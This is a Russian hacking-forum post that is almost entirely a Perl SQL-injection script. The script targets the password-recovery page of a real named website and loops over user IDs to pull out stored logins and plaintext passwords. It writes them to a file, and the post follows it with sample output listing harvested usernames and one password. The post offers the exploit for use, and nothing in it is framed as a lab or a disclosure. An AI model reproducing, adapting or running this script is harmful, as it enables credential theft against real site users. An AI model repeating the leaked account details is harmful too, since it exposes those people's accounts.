- Автор темы
- Добавить закладку
- #21
2reD_ra$Ca1:
:lol2:
да, че-то нето :crazy:
:lol2:
да, че-то нето :crazy:
#!/usr/bin/perl
use IO::Socket;
$toid = $ARGV[1];
$id = $ARGV[0];
print "\n(c)oded by system(\$cmd) // 24.08.2006\nSpecial for Web-Hack.ru\n----------------------------------\n";
if (@ARGV < 2){
print "usage: perl km.pl <=id =>id\n";
exit();
}
for($id;$id<=$toid;$id++){
$login='';$pass='';$flag=1;$a='';
print "[+]ID - $id\n";
$postt="email='%20or%201=convert(int,NickName)%20and%20id=$id--&nullOK=1";
$sockt = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.km.ru", PeerPort => "80", Timeout => 5) || die "\nCONNECTION FAILED";
print $sockt "POST /reg/password.asp HTTP/1.1\r\n";
print $sockt "Host: www.km.ru\r\n";
print $sockt "Connection: close\r\n";
print $sockt "Content-Type: application/x-www-form-urlencoded\n";
print $sockt "Content-length: ".length($postt)."\r\n\r\n";
print $sockt "$postt";
print $sockt "\r\n\r\n";
while (<$sockt>)
{
$a .= $_;
}
if($a=~/value '/){
($login,$trash) = split(/' to/,$a);
($trash,$login) = split(/value '/,$login);
}
if(($login=~/;/) or (!($login))) { print "[-]Login - FAILED!\n"; $flag=0;} else { print "[+]Login - \"$login\"\n"; }
$a='';
if($flag){
$post="email='%20or%201=convert(int,PassWord)%20and%20id=$id--&nullOK=1";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "www.km.ru", PeerPort => "80") || die "\nCONNECTION FAILED";
print $sock "POST /reg/password.asp HTTP/1.1\r\n";
print $sock "Host: www.km.ru\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
$a .= $_;
}
if($a=~/value '/){
($pass,$trash) = split(/' to/,$a);
($trash,$pass) = split(/value '/,$pass);
}
if(($pass=~/;/) or (!($pass))) { print "[-]Passw - FAILED!\n";$flag=0;} else { print "[+]Passw - \"$pass\"\n"; }
}
print "\n==================================\n";
if($flag){
$l=$id.';'.$login.';'.$pass."\n";
open(OUT,"out.txt");@tmp=<OUT>;close(OUT);
push(@tmp,$l);
open(OUT,">out.txt");print OUT @tmp;close(OUT);
}
}
----------------------------------
[+]ID - 1
[+]Login - "gowor"
[-]Passw - FAILED!
==================================
[+]ID - 2
[-]Login - FAILED!
==================================
[+]ID - 3
[-]Login - FAILED!
==================================
[+]ID - 4
[-]Login - FAILED!
==================================
[+]ID - 5
[+]Login - "dun"
[+]Passw - "djdbr"
==================================
[+]ID - 6
[-]Login - FAILED!
==================================
[+]ID - 7
[-]Login - FAILED!
==================================
[+]ID - 8
[+]Login - "Katya"
[-]Passw - FAILED!
==================================
[+]ID - 9
[-]Login - FAILED!
==================================
[+]ID - 10
[+]Login - "vlad"
[-]Passw - FAILED!
==================================